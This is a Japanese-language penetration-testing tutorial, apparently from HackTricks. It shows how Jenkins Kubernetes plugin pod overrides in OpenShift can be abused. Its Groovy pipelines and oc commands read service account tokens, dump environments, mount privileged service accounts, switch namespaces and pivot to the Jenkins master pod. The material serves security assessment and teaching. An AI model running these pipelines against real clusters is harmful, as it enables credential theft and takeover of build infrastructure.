# Jenkins in Openshift - build pod overrides

{{#include ../../../banners/hacktricks-training.md}}

**このページの元の著者は** [**Fares**](https://www.linkedin.com/in/fares-siala/)

## Kubernetes plugin for Jenkins
このプラグインは、openshift/kubernetes クラスター内の Jenkins コア機能を主に担当しています。公式ドキュメントは [here](https://plugins.jenkins.io/kubernetes/) です。
開発者が jenkins ビルドポッドのデフォルト設定をオーバーライドする機能など、いくつかの機能を提供します。

## Core functionnality

このプラグインは、適切な環境でコードをビルドする際に、開発者に柔軟性を提供します。
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
```
## 一部のポッド YAML オーバーライドを利用した悪用

ただし、Kali Linux のようなアクセス可能なイメージを使用し、そのイメージにプリインストールされたツールを使用して任意のコマンドを実行するために悪用される可能性があります。  
以下の例では、実行中のポッドの serviceaccount トークンを抽出できます。
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
```
異なる構文で同じ目標を達成する。
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
ポッドの名前空間をオーバーライドするサンプル
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
別の例として、名前に基づいてサービスアカウントをマウントしようとするものがあります（これは、ビルドを実行しているデフォルトのものよりも多くの権限を持っている可能性があります）。最初に既存のサービスアカウントを推測または列挙する必要があるかもしれません。
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
同じ技術は、Secretをマウントしようとすることにも適用されます。ここでの最終目標は、ポッドビルドを効果的にピボットまたは権限を取得する方法を見つけることです。

## さらに進む

これに慣れてきたら、JenkinsとKubernetes/Openshiftに関する知識を使って、誤設定や悪用を見つけてください。

次の質問を自問してください：

- ビルドポッドをデプロイするために使用されているサービスアカウントはどれですか？
- それにはどのような役割と権限がありますか？現在いる名前空間のシークレットを読み取ることができますか？
- 他のビルドポッドをさらに列挙できますか？
- 侵害されたsaから、マスターノード/ポッドでコマンドを実行できますか？
- クラスターをさらに列挙して他の場所にピボットできますか？
- どのSCCが適用されていますか？

どのoc/kubectlコマンドを発行するかは[こちら](../openshift-basic-information.md)と[こちら](../../kubernetes-security/kubernetes-enumeration.md)で確認できます。

### 可能な権限昇格/ピボットシナリオ

評価中に、すべてのjenkinsビルドが_worker-ns_という名前空間内で実行されていることがわかったと仮定しましょう。ビルドポッドには_default-sa_というデフォルトのサービスアカウントがマウントされていることがわかりましたが、いくつかのリソースに対する読み取りアクセスを除いてそれほど多くの権限はありませんでしたが、_master-sa_という既存のサービスアカウントを特定することができました。
また、実行中のビルドコンテナ内にocコマンドがインストールされていると仮定しましょう。

以下のビルドスクリプトを使用すると、_master-sa_サービスアカウントを制御し、さらに列挙することができます。
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
```
アクセスに応じて、ビルドスクリプトから攻撃を続ける必要があるか、実行中のクラスターでこのsaとして直接ログインできます:
```bash
oc login --token=$token --server=https://apiserver.com:port
```
この sa に十分な権限（pod/exec など）がある場合、同じ名前空間内で実行されているマスターノードポッド内でコマンドを実行することにより、Jenkins インスタンス全体を制御することもできます。このポッドは、その名前と Jenkins データを保存するために使用される PVC（永続ボリュームクレーム）をマウントしている必要があるため、簡単に特定できます。
```bash
oc rsh pod_name -c container_name
```
マスターノードポッドがワーカーと同じ名前空間内で実行されていない場合、マスターネームスペースをターゲットにして同様の攻撃を試みることができます。これを _jenkins-master_ と呼ぶと仮定します。serviceAccount master-sa が _jenkins-master_ 名前空間に存在する必要があることを忘れないでください（おそらく _worker-ns_ 名前空間には存在しません）。
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}



{{#include ../../../banners/hacktricks-training.md}}
